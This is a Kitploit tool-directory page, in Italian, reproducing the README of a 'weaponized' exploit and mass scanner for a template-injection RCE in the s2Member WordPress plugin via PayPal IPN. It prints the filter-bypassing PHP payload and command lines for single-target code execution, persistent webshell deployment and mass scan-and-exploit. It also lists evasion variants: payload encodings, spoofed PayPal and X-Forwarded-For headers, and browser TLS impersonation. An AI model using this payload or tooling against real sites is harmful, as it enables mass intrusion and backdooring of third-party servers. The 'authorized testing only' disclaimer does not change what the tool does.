Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-86596 — Scanner di exploit e mass scanning in un singolo file per CVE-2026-86596, un RCE da template injection in s2Member tramite il parametro item_name dell'IPN di PayPal, con varianti di bypass e distribuzione di webshell. | Kitploit
Strumenti/GitHubGitHub/aureels/cve-2026-86596
RicognizioneScanner di VulnerabilitàGenerazione di PayloadExploitEvasione IDS/IPSSfruttamento di Applicazioni WebSicurezza WebCommand and ControlStrumento di Accesso RemotoSpoofing dell'Impronta Digitale
GitHub
51111h 26m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
aureels/cve-2026-86596

CVE-2026-86596

Scanner di exploit e mass scanning in un singolo file per CVE-2026-86596, un RCE da template injection in s2Member tramite il parametro item_name dell'IPN di PayPal, con varianti di bypass e distribuzione di webshell.

Vedi Repository
Condividi

CVE-2026-86596 - s2Member <= 260927 RCE weaponizzata

CVSS 9.8 | CVE-2026-86596 | Patch: 261001+

Exploit weaponizzato e scanner in un singolo file per l'injection di template in s2Member tramite il parametro IPN item_name.

Vulnerabilità

$paypal = strip_php_tags_deep($paypal);           // Rimuove solo il letterale '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg));  // Rimuove %%x%% -> ricompone <?php

Payload: <%%x%%?php system('id'); ?> → aggira strip_php_tags_deep, si ricompone in un valido <?php dopo la pulizia dei placeholder.

Utilizzo

# RCE su singolo target
python3 poc.py target.com --cmd "id" --authorized

# Webshell persistente (accesso: /shell.php?pass=cmd)
python3 poc.py target.com --cmd "shell:mysecret" --authorized --deploy-shell

# Matrice di bypass completa (tutte le varianti)
python3 poc.py target.com --cmd "id" --authorized --full-bypass

# Scansione di massa con recon
python3 poc.py targets.txt --scan --threads 30 --recon

# Scansione + exploit
python3 poc.py targets.txt --scan --exploit --cmd "id" --authorized --output results.json

Opzioni

FlagDescrizione
--cmd "id"Comando da eseguire (o shell:pass per la webshell)
--scanModalità scansione di massa (legge i target da file)
--exploitTenta l'exploit durante la scansione
--authorizedOBBLIGATORIO per qualsiasi azione di exploit
--reconRicognizione completa prima dell'exploit
--item-numberitem_number specifico (default: auto-discovery)
--proxy-verificationChiave s2member_paypal_proxy_verification
--write-testScrive un file di test invece di eseguire il comando
--deploy-shellDistribuisce una webshell persistente
--shell-pathNome file della webshell (default: shell.php)
--full-bypassProva TUTTE le varianti di bypass (lento)
--no-evasionDisabilita tutti i tentativi di bypass
--threads NThread di scansione (default: 15)
--output fileOutput JSON/CSV
--http-proxyProxy HTTP(S)
--impersonateFingerprint TLS: chrome/firefox/safari/edge
--insecureDisabilita la verifica TLS
--verboseOutput dettagliato

Matrice di bypass

LivelloVarianti
Payload10: raw, urlenc, b64, concat, var-func, assert, preg_replace/e, create_function, shortcode, shortcode+b64
Scrittura4: file_put_contents, fopen/fwrite, shell_exec, b64_decode
Shell5: eval, system, assert, b64_eval, shortcode
Richiesta5: form, multipart, dup, multipart-dup, JSON
Header7: spoof XFF, referer/origin PayPal, header IPN, cluster
TLS4: chrome, firefox, safari, edge (curl_cffi)

Requisiti per RCE live

  • s2Member <= 260927
  • item_number valido (ID di post/pagina protetta)
  • Verifica PayPal IPN (sandbox o chiave di verifica proxy)
  • Sink del template: do_shortcode() / [s2If php=...]

File

/root/labv/
├── poc.py        # Exploit weaponizzato singolo + scanner (384 righe)
├── README.md     # Questo file
└── targets.txt   # Lista di target di esempio

Riferimenti

  • Wordfence: https://www.wordfence.com/threat-intel/vulnerabilities/id/bbe64cd3-c5ca-4867-90de-4784510a1126
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-86596
  • GitHub PoC: https://github.com/thiscitze/cve-2026-86596-poc
  • Changeset: https://plugins.trac.wordpress.org/changeset/3722434/s2member

Note legali

SOLO PER TEST AUTORIZZATI. Il flag --authorized conferma il permesso scritto.

Scarica lo strumento